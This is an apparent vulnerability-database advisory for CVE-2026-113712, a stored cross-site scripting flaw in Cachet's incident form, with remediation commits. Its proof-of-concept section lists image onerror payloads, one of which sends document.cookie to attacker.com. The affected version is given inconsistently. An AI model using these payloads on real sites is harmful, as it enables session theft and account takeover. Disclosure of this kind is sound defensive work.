CVE-2026-113712: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') in cachethq cachet
Description
### Summary A stored Cross-Site Scripting (XSS) vulnerability exists in the incident creation form, allowing an authenticated attacker to inject malicious HTML/JavaScript that executes in the browser of any user who views the status page, potentially leading to session token theft and account takeover. ### Details The incident Name and Message fields do not properly sanitize HTML event handler attributes. While <script> tags appear to be filtered, event-based payloads are not blocked. Affected endpoint: /dashboard/incidents/ Affected fields: Incident Name, Incident Message Affected version: Cachet v3 ### PoC 1. Log in as an authenticated user 2. Navigate to /dashboard/incidents/ 3. Create a new incident 4. Insert the following payloads in the Name and Message field: Payload 1 — Confirm XSS execution: ```<img src=x onerror="alert(1)">``` Step 2 — Cookie/token exfiltration: ```<img src=x onerror="fetch('http://attacker.com/leak?c='+document.cookie)">``` Step 3 — Forced redirect to sensitive page: ```<img src=x onerror="window.location='/dashboard/manage-customization'">``` 5. Save the incident 6. Navigate to the public status page 7. Payload executes in the victim's browser ### Payload 1 <img width="1926" height="1062" alt="Screenshot_2026-05-05_21_19_21" src="https://github.com/user-attachments/assets/3ec50987-332d-4ba2-8fd2-b18ccc8d8f6b" /> ### Payload 2 <img width="1910" height="525" alt="Screenshot_2026-05-07_12_22_07" src="https://github.com/user-attachments/assets/3b34170d-a2f0-4962-9e20-1fc8e305c589" /> Stored XSS affecting all users who view the public status page. An attacker can: - Confirm script execution via alert popup - Steal session cookies and XSRF tokens from authenticated users - Silently redirect victims to sensitive pages like `/dashboard/manage-customization` This vulnerability could lead to full account takeover of any user who views the status page, including administrators.
CVSS v4.0
Score 4.8medium
Affected software
cachethq
cachet
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Technical Analysis
Cachet, an open-source status page system, has a stored XSS vulnerability (CWE-79) in versions 2.4.1 and earlier. The vulnerability exists in the incident creation form, where insufficient input neutralization allows an authenticated attacker to inject malicious scripts. These scripts execute in the browsers of any users who view the affected status page, potentially enabling session token theft and account takeover. The vulnerability is addressed by specific commits in the cachethq/core repository, which patch the input handling to prevent script injection.
Potential Impact
An authenticated attacker can exploit this vulnerability to inject malicious scripts into the status page, which execute in the context of users viewing the page. This can lead to session token theft and account compromise. The CVSS 4.0 base score is 4.8 (medium severity), reflecting the need for authentication and user interaction for exploitation.
Mitigation Recommendations
A fix is available and has been applied in the cachethq/core repository via commits 57b44a8bac0b250b0d5751e93e0349070d14606e and 23adbb88ffa819f92be4a905ff1d812670d980a2. Users should upgrade to a version including these patches or apply the changes from these commits to remediate the vulnerability.
Technical Details
- Data Version
- 5.2
- Assigner Short Name
- GitHub_M
- Date Reserved
- 2026-10-20T16:03:14.862Z
- Cvss Version
- 4.0
- State
- PUBLISHED
Threat ID: 6ad7bede2cdf04f656550f54
Added to database: 10/20/2026, 19:19:58 UTC
Last enriched: 10/20/2026, 19:33:23 UTC
Last updated: 10/20/2026, 22:33:33 UTC
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